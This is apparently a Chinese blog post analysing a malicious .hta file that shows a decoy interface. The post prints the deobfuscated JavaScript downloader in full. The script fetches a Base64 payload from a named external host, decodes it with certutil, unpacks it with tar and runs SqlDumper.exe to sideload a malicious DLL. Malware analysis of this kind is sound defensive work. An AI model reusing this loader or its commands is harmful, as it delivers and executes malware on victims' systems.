4.2 “.hta”恶意文件分析

“.hta”恶意文件分析

.hta 文件是一种 HTML 应用程序(HTML Application)的文件类型,它允许使用 HTML、JavaScript和VBScript创建一个本地的Windows应用程序。这种文件类型通常被用于创建简单的 Windows 界面或者执行一些系统管理任务。攻击者也可以有目的编写JavaScript和VBScript做恶意用途。

“.hta”文件执行后,会展示与诱饵pdf主题配套的html界面迷惑用户,同时会执行包含在其中的恶意JavaScript。

格式化经过混淆的JavaScript下载器。 经调试获取外连URL。

hxxps://waterforvoiceless.org/util.php
hxxps://seeceafcleaners[.]co[.]uk/cert.php

 

脚本详细功能如下。

  • 向url “hxxps://waterforvoiceless.org/util.php 发送get请求,下载Base64编码的文本文件
  • 若响应状态码为200,则读取响应内容,写入文件“C:\Windows\Tasks\invite.txt”中。
  • 调用certutil指令解码,将文本文件解码为压缩包文件“C:\Windows\Tasks\invite.zip”
  • 延时3秒,调用tar指令,解压压缩包文件。压缩包中包含“SqlDumper.exe”和“vcruntime140.dll”。vcruntime140.dll是攻击者制作的恶意DLL,在执行sqlwriter.exe时会自动加载。
  • 延时3秒,执行文件"C:\Windows\Tasks\SqlDumper.exe"。

经过格式化和解除混淆完整JavaScript代码如下。

var a = new ActiveXObject("Wscript.Shell");  //创建了一个 WScript Shell 对象,常用于执行系统命令。
function Ijdaskjw(url) {
  var HttpRequest = new XMLHttpRequest();//创建XMLHttpRequest 对象,用于发起 HTTP 请求。
  HttpRequest.onreadystatechange = function () {
    if (HttpRequest.readyState == 0x4 && HttpRequest.status == 0xc8) {//若响应状态码200
      var httpResposneText = HttpRequest.response;//读取响应内容
      var FILE = new ActiveXObject("Scripting.FileSystemObject");//创建FileSystemObject对象,用于文件系统操作
      //创建文本文件,写入响应内容
      var fileDeal = FILE.OpenTextFile("C:\\Windows\\Tasks\\invite.txt", 0x2, true, 0x0);
      fileDeal.Write(httpResposneText);
      fileDeal.close();
      //调用certutil解码 ,文本文件转压缩文件
      a.Run("certutil -decode C:\\Windows\\Tasks\\invite.txt C:\\Windows\\Tasks\\invite.zip", 0x0);
      //延时3秒
      var _0x245d53 = Date.now();
      var _0x3f9f72 = null;
      do {
        _0x3f9f72 = Date.now();
      } while (_0x3f9f72 - _0x245d53 < 0xbb8);
      //调用tar指令解压invite.zip文件
      a.Run("tar -xf C:\\Windows\\Tasks\\invite.zip -C C:\\Windows\\Tasks\\ ", 0x0);
      //延时3秒
      var _0x245d53 = Date.now();
      var _0x3f9f72 = null;
      do {
        _0x3f9f72 = Date.now();
      } while (_0x3f9f72 - _0x245d53 < 0xdac);
      //执行文件
      a.Run("C:\\Windows\\Tasks\\SqlDumper.exe", 0x0);
    }
  };

  //发送请求
  HttpRequest.open("GET", url, true);//"https://waterforvoiceless.org/util.php"
  HttpRequest.send(null);
}

Ijdaskjw("hxxps://waterforvoiceless.org/util.php");

 

  • 9
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值